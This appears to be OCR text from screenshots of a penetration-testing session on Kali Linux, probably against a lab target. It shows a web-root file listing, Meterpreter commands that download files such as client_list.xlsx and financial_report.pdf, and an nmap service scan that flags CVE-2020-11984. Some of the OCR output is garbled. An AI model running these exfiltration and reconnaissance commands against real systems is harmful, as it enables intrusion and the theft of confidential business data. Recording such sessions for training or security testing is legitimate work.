100666/rw-rw-rw- 15360
100666/ rw-rw-rw- 5120

Type
fil
fil
fil
fil
fil

Kali@kali: ~

Last modified
2018-04-06 O
2018-04-06 O
2018-04-06 O
2018-04-06 @
2025-05-15 1.
o
o
0
o

2018-04-06
2018-04-06
2018-04-06
2018-04-06

-0400
-0400
134 -0400

Last modified

Name
about.aspx
contact.aspx
default.aspx
global.aspx
files
index.aspx
products.aspx
services.aspx
workers.aspx

Name

2025-05-15 12:58:10 -0400 client_list.xlsx
2025-05-15 12:58:22 -0400 financial_report.pdf
2025-05-15 12:58:35 -0400 payroll_2025.csv
2025-05-15 12:58:47 -0400 roadmap.pptx
2025-05-15 12:58:59 -0400 strategy.docx

meterpreter > download client_list.xlsx /home/kali/client_list.xlsx
[*] Downloading: client_list.xlsx -> /home/kali/client_list.xlsx
[+] Downloaded 518.62 KiB of 518.62 KiB (100.0%): client_list.xlsx -> /home/kali/client_list.xlsx

meterpreter > download financial_report.pdf /home/kali/financial_report.pdf
[*] Downloading: financial_report.pdf -> /home/kali/financial_report.pdf

[+] Downloaded 1024.00 KiB of 1024.00 KiB (100.0%): financial_report.pdf -> /home/kali/financial_report.pdf

meterpreter > I
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kali@kali:~$ nmap -sV -A 192.168.56.20

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-11 11:08 BST
Nmap scan report for 192.168.56.20

Host is up (0.00039s latency).

Not shown: 997 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.4 (protocol 2.0)

80/tcp open http Apache httpd 2.4.41 (Ubuntu)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_http-title: Vulnerable Web App
| _http-server-header: Apache/2.4.41 (Ubuntu)

| _vulners:
| cpe:/a:apache:http_server:2.4.41:
e CVE-2020-11984 7 https://vulners.com/cve/CVE-2020-11984

[

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.21 seconds

kali@kali:~$ |




